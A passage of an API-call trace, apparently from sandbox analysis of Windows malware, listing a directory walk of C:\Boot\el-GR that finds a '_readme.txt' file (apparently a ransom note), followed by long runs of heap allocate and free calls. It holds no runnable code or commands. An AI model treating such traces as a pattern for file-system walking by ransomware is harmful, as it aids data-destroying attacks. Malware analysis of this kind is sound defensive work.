hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.143] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.143] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.143] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.143] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.143] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.143] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13aa5870, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.143] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13aa5870, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13aa5870, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13aa5870, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.143] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.143] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.143] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.143] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.143] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.143] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.143] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.143] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.143] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.144] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.144] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.144] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.144] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.144] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.144] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.144] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.144] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.144] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.144] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.144] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.144] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.144] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.144] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.144] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.144] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.144] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.144] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.144] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.144] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.144] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.144] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.144] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.144] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.144] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.144] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.144] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.144] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.144] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.144] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.145] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.145] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.145] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.145] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.145] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.145] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.145] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.145] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.145] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.145] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.145] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.145] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.145] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.145] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.145] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.145] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.145] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.145] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.145] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.145] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.145] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.145] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.145] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.145] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.145] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.145] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.145] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.145] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.145] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.145] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.145] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.145] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.145] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.146] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.146] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.146] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.146] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.146] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.146] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.146] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.146] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.146] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.146] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.146] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.146] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.146] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.146] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.146] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.146] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.147] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.147] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.147] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.147] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.147] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.147] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.147] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.147] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.147] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.147] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.147] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.147] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.147] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.147] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.147] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.147] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.147] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.147] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.147] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.147] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.147] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.147] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.147] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.147] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.147] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.147] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.147] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.147] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.147] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.147] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.147] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.148] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.148] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.148] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.148] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.148] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.148] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.148] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.148] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.148] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.148] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.148] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.148] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.148] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.148] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.148] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.148] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.148] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.148] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.148] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.148] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.148] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.148] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.148] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.148] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.148] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.148] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.148] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.148] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.148] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.148] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.148] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.148] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.149] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.149] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.149] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.149] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.149] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.149] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.149] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.149] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.149] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.149] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.149] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.149] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.149] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.149] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.149] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.149] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.149] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.149] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.149] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.149] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.149] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.149] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.149] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.149] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.149] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.149] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.149] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.149] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.149] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.149] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.149] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.150] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.150] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.150] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.150] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.150] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.150] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.150] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.150] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.150] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.150] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.150] HeapFree (in: hHeap=0x670000, dwFlags=0x0, 